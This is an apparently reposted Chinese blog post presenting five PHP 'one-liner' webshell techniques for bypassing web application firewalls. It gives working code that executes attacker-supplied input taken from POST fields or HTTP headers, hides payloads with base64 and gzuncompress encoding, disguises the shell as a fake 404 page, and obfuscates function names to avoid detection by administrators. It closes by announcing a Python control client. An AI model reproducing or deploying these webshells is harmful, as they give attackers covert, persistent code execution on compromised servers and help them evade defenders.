1. 程式人生 > >無特征過狗一句話猥瑣思路(代碼執行)

無特征過狗一句話猥瑣思路(代碼執行)

請求頭 and 客戶 pass 正則 替換 req php報錯 span

來自:https://bypass.world/2017/01/%E6%97%A0%E7%89%B9%E5%BE%81%E8%BF%87%E7%8B%97%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%80%9D%E8%B7%AF/

0x01、姿勢一

我們知道php動態函數很有意思,那麽你猜到了,姿勢一就是:

<?php $_POST[‘xx‘]($_POST[‘oo‘]);?>

註意xx參數設置成eval是不行的哦,讓我們來看看效果:

技術分享

0x02、姿勢二

關鍵詞是過濾了,但是你老是post一些奇奇怪怪的東西,人家幾萬塊買的waf也不是吃白飯的啊。好好好你醜你說什麽都是對的,我們不post了,getallheaders函數能夠獲取請求頭內容,來試試新家夥:

<?php eval(getallheaders()[‘Accept-Language‘]);>

技術分享

當然你要是猥瑣到這樣,那恭喜你,你已經學會舉一反三了。。。

<?php $a=getallheaders()[‘xxx‘];$a(getallheaders()[‘ooo‘]);>

技術分享

0x03、姿勢三

遇到一般的waf可能上個姿勢就能 bypass了,但是還是會有一些臭不要臉的waf會檢測http請求頭裏的內容,咱們還是從技術角度出發來看看這個問題怎麽繞過,猥瑣的人可能首先想到了base64,更猥瑣的人可能想到了各種自寫函數進行編碼、替換,但是我見過最猥瑣的思路是gzuncompress和gzcompress函數,話不多說我們先放shell:

<?php eval(gzuncompress(base64_decode(getallheaders()[‘xx‘])));>

技術分享
http headers的裏面的xx字段看起來像base64編碼(其實他就是base64編碼),但是解開之後發現是亂碼,waf識別不出來裏面的內容,哈哈是不是夠猥瑣呢。。如果你要是還嫌不夠猥瑣,那麽來吧,互相傷害吧:

<?php $xx=gzuncompress(base64_decode(getallheaders()[‘xx‘]));$xx(gzuncompress(base64_decode(getallheaders()[‘oo‘])));>

0x04、姿勢四

目前為止,這個shell在傳輸過程中已經沒有任何特征了,但是管理員畢竟是吃白飯的,某日瀏覽小黃文可能無意間發現你的shell,一堆什麽莫名的base64函數和查了半天資料也搞不懂的gzuncompress函數,管理員手一抖說不定就給刪了呢,這時候你需要偽裝你的shell,偽裝成404是個比較安全的方法,為了防止管理員訪問shell時出現未提交相應的http header導致php報錯,我們再加上if判斷,完整的shell如下:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> ... <?php $xx=getallheaders()[‘xx‘]; $oo=getallheaders()[‘oo‘]; if($xx!="" and $oo!=""){ $xx=gzuncompress(base64_decode($xx));$xx(gzuncompress(base64_decode($oo))); } > </body></html>

技術分享

0x05、姿勢五

可能你厭倦了每次提交數據都需要進行手動編碼再提交。技術的目的本身就是機器代替手工,那好用python來寫一個我們專屬的一句話控制端吧。不過在這之前我們需要再此改進我們的shell,使其變得更加隱蔽,更加實用。最新版的shell如下:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p><?php //ZUp4THFyVHl5eS9LVGN5ckF3QVZGZ1Av; $error0="404_not_found"; $error1="400_not_found"; $error2="302_not_found"; ... $_="\x6d\x64\x35"; $__=$_($_.$_.$_); $header_errors=chr(103).substr($__,14,1)."t".chr(97)."llh".substr($__,14,1)."aders"; $base_errors=chr(98)."\x61".chr(115).substr($__,14,1)."6"."\x34"."_".chr(100)."\x65"."c".chr(111)."d".substr($__,14,1); $gz_errors="\x67\x7a".chr(117).chr(110)."com"."\x70\x72\x65\x73\x73"; if($header_errors()[$error1]!="" and $header_errors()[$error2]!=""){ echo $error0; $error=$gz_errors($base_errors($base_errors($header_errors()[$error2])));$error($gz_errors($base_errors($base_errors($header_errors()[$error1])))); echo $error0;}> </body></html>

我們看到其實和上個姿勢的差別主要是加了一些混淆,像base64、gzuncompress等這些函數都進行了動態組合,更具有迷惑性,另外執行命令前後分別有一次echo進行輸出,這主要是方便我們的一句話客戶端在獲取服務器相應內容後能夠利用正則截取真正的執行結果,而不是多了一些其他的html之類的沒用的內容。

附下我們客戶端的執行效果:
技術分享
ps:客戶端目前只寫了個小框架,後面功能稍微完善點之後會放給大家玩的。

無特征過狗一句話猥瑣思路(代碼執行)